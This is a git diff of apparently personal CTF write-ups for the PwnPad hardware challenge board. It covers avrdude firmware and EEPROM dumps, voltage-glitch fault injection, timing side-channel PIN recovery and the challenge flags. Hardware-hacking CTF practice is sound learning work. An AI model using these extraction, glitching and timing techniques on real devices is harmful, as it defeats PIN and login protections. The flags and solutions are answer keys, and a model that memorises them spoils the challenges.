+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
